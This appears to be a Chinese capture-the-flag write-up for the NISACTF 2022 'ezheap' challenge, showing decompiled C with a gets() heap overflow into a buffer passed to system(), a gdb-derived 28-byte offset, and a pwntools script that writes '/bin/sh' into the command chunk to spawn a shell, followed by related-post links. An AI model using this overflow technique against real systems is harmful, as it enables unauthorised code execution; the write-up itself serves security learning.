NSSCTF [NISACTF 2022]ezheap

2058.NISACTF 2022ezheap(堆溢出)

NISACTF 2022ezheap

1.准备
2.ida分析
main函数
复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

这里先创建两个堆块s和command

然后在s有一个输入点,gets函数,存在堆溢出

并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容

所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接

通过gdb调试,得到偏移量

在main函数下断点,运行程序

一直运行到两个call malloc@plt后,查看堆情况

看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

复制代码
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
相关推荐
kingx31 天前
Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)
pwn·ctf·glibc·堆溢出·fsop
布莱克6055 天前
C++ 中堆和栈的区别详解
开发语言·c++·栈·堆
sogw-三叶草️1 个月前
my_uaf_hook
pwn·二进制安全
sogw-三叶草️1 个月前
HITCON CTF 2014 — stkof · Unsafe Unlink
网络·安全·web安全·pwn·堆·二进制安全·堆漏洞
sogw-三叶草️1 个月前
House of Orange
网络安全·pwn·堆·二进制安全
-dzk-1 个月前
【堆】LC 347.前 K 个高频元素
算法·堆
sogw-三叶草️1 个月前
House Of Einherjar
pwn·堆·二进制安全
请输入蚊子2 个月前
AFL源码分析(一)
c·pwn·afl·fuzz
玫幽倩2 个月前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
桃蹊、2 个月前
FreeRTOS(二)之堆和栈:内存基础入门
freertos·内存管理·栈·堆